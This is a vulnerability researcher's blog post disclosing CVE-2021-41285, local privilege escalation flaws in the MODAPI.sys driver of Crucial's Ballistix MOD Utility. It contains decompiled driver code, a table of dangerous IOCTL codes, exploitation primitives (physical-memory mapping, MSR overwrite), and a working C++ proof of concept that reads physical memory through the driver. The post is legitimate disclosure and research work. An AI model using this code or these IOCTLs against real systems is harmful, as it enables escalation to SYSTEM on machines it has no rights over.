Back to Posts

Share this post

Posted by: voidsec

Crucial’s MOD Utility LPE – CVE-2021-41285

Reading Time: 8 minutes

Crucial Ballistix MOD Utility is a software product that can be used to customize and control gaming systems, specifically LED colours and patterns, memory, temperature, and overclock.

During my vulnerability research, I’ve discovered that this software utilizes a driver, MODAPI.sys, containing multiple vulnerabilities and allowing an attacker to achieve local privilege escalation from a low privileged user to NT AUTHORITY\SYSTEM.

This blog post is a re-post of the original article “Crucial’s MOD Utility LPE” that I have written for Yarix on YLabs.

Advisory – CVE-2021-41285

Crucial by Micron Technology, Inc Ballistix MOD Utility v.<= 2.0.2.5 is vulnerable to multiple Privilege Escalation (LPE/EoP) vulnerabilities in the MODAPI.sys driver component.

All the vulnerabilities are triggered by sending specific IOCTL requests and will allow to:

  • Directly interact with physical memory via the MmMapIoSpace function call, mapping physical memory into a virtual address user-space.
  • Read/write Model-Specific Registers (MSRs) via the __readmsr/__writemsr functions calls.
  • Read/write 1/2/4 bytes to or from an IO port.

Attackers could exploit these issues to achieve local privilege escalation from low-privileged users to NT AUTHORITY\SYSTEM.

Technical Details

As always the driver file, IDA’s DB and exploit code, are available on my GitHub repo.

  • MODAPI.sys - D25340AE8E92A6D29F599FEF426A2BC1B5217299

MODAPI.sys is a driver developed by Crucial as part of Ballistix MOD utility; unfortunately, it is the exact copy of a problematic open-source project, and it also inherits its vulnerabilities:

  • WinRing0x64.sys - D25340AE8E92A6D29F599FEF426A2BC1B5217299 developed by OpenLibSys.

Not only do the hashes perfectly match but “bindiffing” disassembled versions of both drivers clearly prove my point; as can be seen below, MODAPI.sys is indistinguishable from the WinRing0x64.sys driver:

Reverse Engineering

Without cheating and reading the open-source code of WinRing0x64.sys, reverse engineering the MODAPI.sys driver is quite simple as it doesn’t have many functionalities:

  • DriverEntry - sub_15008
  • RealDriverEntry – sub_11008
  • DispatchDeviceControl – sub_110D8
  • Readmsr – sub_11468
  • Readpmc - sub_114D0
  • UnloadDriver – sub_11424
  • Writemsr – sub_1149C
  • MapPhysicalMemory – sub_11504

For the sake of this blog post, we’ll focus on the DispatchDeviceControl routine and later, in the exploitation phase, on the MapPhysicalMemory function.

DispatchDeviceControl

This routine appears as the most complex of the entire binary, as we can see from the below image:

Even if, in reality, it’s quite simple as it acts as a “switch case” for the different IOCTL codes implemented in the driver.

__int64 __fastcall DispatchDeviceControl(__int64 a1, IRP *a2)
{
  unsigned int *p_Information;              // rdi
  _IO_STACK_LOCATION *CurrentStackLocation; // rdx
  unsigned int status;                      // ebx
  unsigned int IOCTL_Code;                  // eax
  _IRP *v7;                                 // rcx
  unsigned int v8;                          // er8
  int v9;                                   // edx
  unsigned __int32 v10;                     // eax
  unsigned int v11;                         // eax
  CSHORT v12;                               // ax
  unsigned __int8 v13;                      // al
  unsigned int Options;                     // ebx
  _IRP *v15;                                // r9
  _IRP *v16;                                // rcx
  int v17;                                  // edx
  unsigned int Length;                      // ebp
  ULONG *MasterIrp;                         // r9
  ULONG BusDataByOffset;                    // eax
  int v21;                                  // eax

  p_Information = (unsigned int *)&a2->IoStatus.Information;
  CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation;
  *(_QWORD *)p_Information = 0i64;
  status = 0xC0000002; // STATUS_NOT_IMPLEMENTED
  if (!CurrentStackLocation->MajorFunction)
  {
    if (dword_13110 == -1)
      goto exit_ok;
    v21 = dword_13110 + 1;
    goto pre_exit_ok;
  }
  if (CurrentStackLocation->MajorFunction == 2)
  {
    if (dword_13110 == -1)
      goto exit_ok;
    v21 = dword_13110 - 1;
  pre_exit_ok:
    dword_13110 = v21;
    goto exit_ok;
  }
  if (CurrentStackLocation->MajorFunction != 14)
    goto exit;
  IOCTL_Code = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;
  if (IOCTL_Code > 0x9C4060D4)
  {
    if (IOCTL_Code != 0x9C406104)
    {
      switch (IOCTL_Code)
      {
      case 0x9C406144:
        Length = CurrentStackLocation->Parameters.Read.Length;
        if (CurrentStackLocation->Parameters.Create.Options != 8)
          goto invalid_parameter;
        MasterIrp = (ULONG *)a2->AssociatedIrp.MasterIrp;
        BusDataByOffset = HalGetBusDataByOffset(
            PCIConfiguration,
            (unsigned __int8)BYTE1(*MasterIrp),
            (32 * (*MasterIrp & 7)) | ((unsigned __int8)*MasterIrp >> 3),
            MasterIrp,
            MasterIrp[1],
            CurrentStackLocation->Parameters.Read.Length);
        if (BusDataByOffset)
        {
          if (Length == 2 || BusDataByOffset != 2)
          {
            if (Length == BusDataByOffset)
            {
              *p_Information = Length;
              goto exit_ok;
            }
            status = 0xE0000004;
          }
          else
          {
            status = 0xE0000002;
          }
        }
        else
        {
          status = 0xE0000001;
        }
        *p_Information = 0;
        break;
      case 0x9C40A0C8:
      case 0x9C40A0D8:
      case 0x9C40A0DC:
      case 0x9C40A0E0:
        v16 = a2->AssociatedIrp.MasterIrp;
        v17 = *(_DWORD *)&v16->Type;
        switch (IOCTL_Code)
        {
        case 0x9C40A0D8:
          __outbyte(v17, *((_BYTE *)&v16->Size + 2));
          goto exit_ok;
        case 0x9C40A0DC:
          __outword(v17, *(&v16->Size + 1));
          goto exit_ok;
        case 0x9C40A0E0:
          __outdword(v17, *(_DWORD *)(&v16->Size + 1));
          goto exit_ok;
        }
        goto invalid_parameter;
      case 0x9C40A108:
        goto pre_invalid_param;
      case 0x9C40A148:
        Options = CurrentStackLocation->Parameters.Create.Options;
        if (Options < 8)
        {
        invalid_parameter:
          status = 0xC000000D; // STATUS_INVALID_PARAMETER
          goto exit;
        }
        v15 = a2->AssociatedIrp.MasterIrp;
        *p_Information = 0;
        status = Options - 8 != HalSetBusDataByOffset(
                                    PCIConfiguration,
                                    (unsigned __int8)BYTE1(*(_DWORD *)&v15->Type),
                                    (32 * (*(_DWORD *)&v15->Type & 7)) | ((unsigned __int8)*(_DWORD *)&v15->Type >> 3),
                                    &v15->MdlAddress,
                                    *(_DWORD *)(&v15->Size + 1),
                                    Options - 8)
                     ? 0xE0000003
                     : 0;
        break;
      }
      goto exit;
    }
    v11 = MapPhisicalMemory(
        (__int64)a2->AssociatedIrp.MasterIrp,
        CurrentStackLocation->Parameters.Create.Options,
        a2->AssociatedIrp.MasterIrp,
        CurrentStackLocation->Parameters.Read.Length,
        p_Information);
  pre_exit:
    status = v11;
    goto exit;
  }
  switch (IOCTL_Code)
  {
  case 0x9C4060D4:
  read_write_B_W_DW:
    v7 = a2->AssociatedIrp.MasterIrp;
    v8 = CurrentStackLocation->Parameters.Create.Options;
    v9 = *(_DWORD *)&v7->Type;
    switch (IOCTL_Code)
    {
    case 0x9C4060CC:
      v13 = __inbyte(v9);
      LOBYTE(v7->Type) = v13;
      goto pre_exit2;
    case 0x9C4060D0:
      v12 = __inword(v9);
      v7->Type = v12;
      goto pre_exit2;
    case 0x9C4060D4:
      v10 = __indword(v9);
      *(_DWORD *)&v7->Type = v10;
    pre_exit2:
      *p_Information = v8;
      goto exit_ok;
    }
  pre_invalid_param:
    *p_Information = 0;
    goto invalid_parameter;
  case 0x9C402000:
    *(_DWORD *)a2->AssociatedIrp.MasterIrp = 16908293;
    goto LABEL1;
  case 0x9C402004:
    *(_DWORD *)a2->AssociatedIrp.MasterIrp = dword_13110;
  LABEL1:
    *(_QWORD *)p_Information = 4i64;
  exit_ok:
    status = 0;
    break;
  case 0x9C402084:
    v11 = readmsr(
        (unsigned int *)a2->AssociatedIrp.MasterIrp,
        CurrentStackLocation->Parameters.Create.Options,
        (unsigned __int64 *)a2->AssociatedIrp.MasterIrp,
        CurrentStackLocation->Parameters.Read.Length,
        p_Information);
    goto pre_exit;
  case 0x9C402088:
    v11 = writemsr(
        (__int64)a2->AssociatedIrp.MasterIrp,
        CurrentStackLocation->Parameters.Create.Options,
        (__int64)a2->AssociatedIrp.MasterIrp,
        CurrentStackLocation->Parameters.Read.Length,
        p_Information);
    goto pre_exit;
  case 0x9C40208C:
    v11 = readpmc(
        (unsigned int *)a2->AssociatedIrp.MasterIrp,
        CurrentStackLocation->Parameters.Create.Options,
        (unsigned __int64 *)a2->AssociatedIrp.MasterIrp,
        CurrentStackLocation->Parameters.Read.Length,
        p_Information);
    goto pre_exit;
  case 0x9C402090:
    __halt();
  case 0x9C4060C4:
  case 0x9C4060CC:
  case 0x9C4060D0:
    goto read_write_B_W_DW;
  }
exit:
  a2->IoStatus.Status = status;
  IofCompleteRequest(a2, 0);
  return status;
}

Looking at the different IOCTL codes we can quickly identify what action each IOCTLs correspond to:

Get/Set BusDataByOffset

“These functions retrieve/set information, starting at the offset, about a slot or address on an I/O bus.” – MSDN

  • 0x9C406144: HalGetBusDataByOffset
  • 0x9C40A148: HalSetBusDataByOffset

Read/Write 1/2/4 bytes

“Generates the out instruction, which sends 1 byte specified by Data out the I/O port specified by Port.” – MSDN

  • 0x9C40A0C8, 0x9C40A0D8 __outbyte, 0x9C40A0DC __outword, 0x9C40A0E0 __outdword
  • 0x9C4060C4, 0x9C4060CC __inbyte, 0x9C4060D0 __inword, 0x9C4060D4 __indword

MmMapIoSpace

“The MmMapIoSpace routine maps the given physical address range to nonpaged system space.” – MSDN

  • 0x9C406104: MmMapIoSpace

Read/Write MSRs

“Generates the Write to Model Specific Register (wrmsr) instruction which writes the contents of registers EDX:EAX into the 64-bit model-specific register (MSR) specified in the ECX register.” – Felix Cloutier

  • 0x9C402084: __readmsr
  • 0x9C402088: __writemsr

Read PMC

“Generates the rdpmc instruction, which reads the performance monitoring counter specified by counter.” – MSDN

  • 0x9C40208C: __readpmc

Halt

“Halts the microprocessor until an enabled interrupt, a non-maskable interrupt (NMI), or a reset occurs.” – MSDN

  • 0x9C402090: __halt

Pretty much any of these privileged operations, if exposed to unprivileged users, directly translate to different vulnerabilities.

Exploitation

Get/Set BusDataByOffset

Allows a low privilege user to write data to the I/O bus, possibly changing PCI configuration information, or vendor-specific data registers.

Read/Write 1/2/4 bytes

Allows a low privilege user to read/write 1/2/4 bytes to or from an IO port. Since I/O privilege level (IOPL) equals to current privilege level (CPL), it is possible to interact with peripheral devices such as the HDD and GPU to either read/write directly to the disk or invoke Direct Memory Access (DMA) operations. For example, communicating with ATA port IO for directly writing to the disk, then overwriting a binary that is loaded by a privileged process.

MapPhysicalMemory – Write-What-Where Primitive

Since we can control all the parameters of the MmMapIoSpace function, we will possibly be able to specify a physical memory address and offset and copy a user-controlled buffer into that space once it is mapped into our process space. This is essentially a Write-What-Where exploit primitive.

In the below PoC, I’m directly interacting with the RAM, mapping a physical memory address to a newly allocated buffer in userspace in order to disclose its content. Using VDM the PoC below can be quickly weaponized into a full-fledged exploit.


/*
Exploit title:      Ballistix MOD Utility v.<= 2.0.2.5 (MODAPI.sys) - Mapping physical memory into virtual address space
Exploit Authors:    Paolo Stagno aka VoidSec - [email protected] - https://voidsec.com
Grade:              PoC
CVE:                CVE-2021-41285
Date:               15/09/2021
Version:            v.2.0.2.5
Tested on:          Windows 10 Pro x64 v.1903 Build 18362.30
Category:           local exploit
Platform:           windows
*/

#include <iostream>
#include <iomanip>
#include <windows.h>

using namespace std;

int main()
{
  DWORD PhysicalMemAddr = 0xE0000; // Physical memory address to read from, change accordingly (max 0x8FFFFFFF)
  DWORD dwDataSizeToRead = 0x4; // Size of data to read (in chunks), in bytes (1, 2, 4); 1 = movsb (BYTE), 2 = movsw (WORD), 4 = movsd (DWORD)
  DWORD dwAmountOfDataToRead = 8; // Amount of data (in chunks) to read
  DWORD dwBytesReturned = 0; // number of bytes returned from the DeviceIoControl request
  DWORD dwIOCTL = 0x9C406104; // IOCTL reaching MmMapIoSpace function call

  // open a handle to the device exposed by the driver - symlink is \\.\\WinRing0_1_2_0
  HANDLE hDevice = ::CreateFileW(
    L"\\\\.\\WinRing0_1_2_0",
    GENERIC_READ | GENERIC_WRITE,
    NULL,
    nullptr,
    OPEN_EXISTING,
    NULL,
    NULL);

  if (hDevice == INVALID_HANDLE_VALUE)
  {
    cout << "[!] Couldn't open handle to MODAPI.sys driver. Error code: " << ::GetLastError() << endl;
    return -1;
  }
  cout << "[+] Opened a handle to MODAPI.sys driver!" << endl;

  cout << "[-] Allocating buffers' memory area!" << endl;
  // allocate memory for the DeviceIoControl lpInBuffer & lpOutBuffer buffers
  LPVOID lpInBuffer = VirtualAlloc((LPVOID)0x41000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  LPVOID lpOutBuffer = VirtualAlloc((LPVOID)0x42000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  if (lpInBuffer == NULL || lpOutBuffer == NULL)
  {
    cout << "[!] Unable to allocate buffers' memory area. Error code: " << ::GetLastError() << endl;
    return -1;
  }

  cout << "[-] Populating lpInBuffer" << endl;
  memmove(lpInBuffer, &PhysicalMemAddr, sizeof(DWORD));
  memmove((BYTE*)lpInBuffer + 0x8, &dwDataSizeToRead, sizeof(DWORD));
  memmove((BYTE*)lpInBuffer + 0xC, &dwAmountOfDataToRead, sizeof(DWORD));

  cout << "[-] Sending IOCTL 0x" << hex << uppercase << setw(8) << setfill('0') << dwIOCTL << endl;
  bool success = DeviceIoControl(
    hDevice,
    dwIOCTL,
    lpInBuffer, // expressed in Bytes; MUST be 0x10
    0x10,
    lpOutBuffer, // MUST be GREATER than chunk size (dwDataSizeToRead * dwAmountOfDataToRead)
    0x40,
    &dwBytesReturned,
    nullptr);
  if (!success)
  {
    cout << "[!] Couldn't send IOCTL 0x" << hex << uppercase << setw(8) << setfill('0') << dwIOCTL
      << " Error code: " << ::GetLastError() << endl;
    return -1;
  }

  cout << endl << "[+] Dumping " << dec << (dwDataSizeToRead * dwAmountOfDataToRead)
    << " bytes of data from 0x" << hex << uppercase << setw(16) << setfill('0') << PhysicalMemAddr << endl;
  cout << string(70, '-') << endl;
  // pretty print memory dump
  for (int nSize = 0; nSize <= 0x32; nSize += 0x10)
  {
    for (int i = 0; i <= 0xF; i++)
    {
      // output byte
      printf("%02X ", *((BYTE*)lpOutBuffer + i + nSize));
    }
    cout << "  ";
    for (int i = 0; i <= 0xF; i++)
    {
      CHAR cChar = *((BYTE*)lpOutBuffer + i + nSize);
      // if byte is in printable range, then print it's ASCII representation
      if (cChar >= 0x20 && cChar <= 0x7E)
      {
        printf("%c", *((BYTE*)lpOutBuffer + i + nSize));
      }
      else
      {
        cout << ".";
      }
    }
    cout << endl;
  }
  cout << string(70, '-') << endl;
  // housekeeping
  VirtualFree((LPVOID)0x41000000, 0, MEM_RELEASE);
  VirtualFree((LPVOID)0x42000000, 0, MEM_RELEASE);
  ExitProcess(0);
}

Write MSRs – Pointer Overwrite Primitive

Model-Specific Registers (MSRs) are registers used for toggling or querying CPU info. The most interesting thing about MSRs is that on modern systems the MSR _LSTAR register is used during a system call transition from user-mode to kernel-mode.

The transition to kernel-mode can be schematized as follows:

  1. syscall
  2. read MSR _LSTAR register
  3. call MSR _LSTAR pointer (Ring-0)
  4. kernel function handles the syscall logic

Exposed WRMSR (__writemsr) instruction gives us a pointer overwrite primitive, the function pointer is called when any syscall is issued and it is called from ring-0. Using msrexec we can quickly weaponize it into a full-fledged exploit.

Disclosure Timeline

  • 15/09/2021 – Issues are discovered, and a CVE number is requested
  • 15/09/2021 – MITRE assign CVE-2021-41285
  • 16/09/2021 – Issues are reported to Micron ([email protected])
  • 30/09/2021 – Micron never replied nor acknowledged the vulnerabilities: Full Disclosure

Resources & References

Back to Posts